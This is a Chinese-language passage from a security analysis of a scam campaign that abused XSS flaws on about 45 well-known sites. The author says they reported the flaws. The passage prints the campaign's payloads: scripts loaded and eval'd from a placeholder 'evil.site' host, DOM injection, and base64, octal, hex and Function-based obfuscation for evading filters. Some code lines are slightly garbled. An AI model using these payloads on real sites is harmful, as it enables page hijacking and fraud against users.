下拉URL发现是知名互联网公司的域名,但是内容是明显不相符的,猜测有诈,要么是浏览器地址栏欺骗漏洞,要么是通过XSS漏洞修改了页面内容,
上面两个漏洞类型均有捡漏的可能,遂坐起进行抓包分析。
仅我观察到他们至少利用了45个不同网站的XSS,实际XSS弹药量应远不止此。
在骗局活动持续的半个月中,总的点击量应该高达千万级别。
图:某个插了XSS页面的访问量
整个黑灰产活动涉及以下角色:
图:静态文件页面实际上是API接口
观察到此特征后,编写脚本,持续对活动平台API进行定期访问,共获取唯一链接54个,域名去重后得到45个XSS,涉及国内知名互联网厂商,其中有安全团队联系方式的均已提交修复。
对获取到的XSS进行分析,不由感叹黑灰产团队利用之精巧、弹药之丰富,明显是有备而来,顺便学到了几个小trick。
日常证明XSS,通常只用alert()弹窗即可,不用管插入XSSpayload后页面是否扰乱布局造成页面混乱,
对于黑灰产而言,自然想将做到最大化利用,就本次黑灰产活动而言,需要用XSSpayload去第三方页面拉取替换页面的资源,这涉及到网络请求;且整个替换过程最好能做到过渡自然,页面不能有明显的乱码,它们使用了以下技巧。
主要通过以下方式引入第三方页面:
**import**
fetch('//evil.site/xss.js').then(a=>a.text().then(a=>eval(a)))appendChild动态添加
with(document)[head.appendChild(createElement('script')).src='//evil.site/xss.js'script标签引入
注入
隐藏原页面内容,再执行XSS,这样避免原页面视觉上的混乱。对于iframe/src构造的XSS,通过以下js代码重写父页面title,通过页面标题看起来是正常跳转的假象。
d=parent.document;d.title='302';1.3Payload变形技巧通过以下方式进行payload进行变形,从而绕过可能的安全检测:
Base64编码
atob("YWxlcnQoMSk=")//alert(1)八进制、十六进制编码
Javascript代码支持八进制和十六进制编码执行
所以以下代码均可执行弹窗1:
eval('alertx281x29');//()十六进制编码后为x28x29eval('a154ert(1)');//l八进制为154Function执行代码
Function("alert(1)")()通过`替换括号它还有以下变形:
Function`alert(1)`()Function`alert(1)```Function`alertx281x29```//与十六进制编码结合0x02XSS执行流程XSS的触发有输入、处理过程、输出三个环节。
输入:也即payload插入的位置。
输出:payload输出位置、页面Content-Type、编码格式。
以下分析也主要针对这三个环节。
本次黑灰产活动中发现的反射XSS比较好分析,存储型的XSS实际仅捕获到触发的URL,也就是输出点,前面输入点和处理过程是未知的,也比较难去寻找,所以若涉及存储XSS案例均是根据经验进行的猜测。
案例中域名、路径使用的xxx为替换,非真实域名、路径。
此类型的一般输出点位于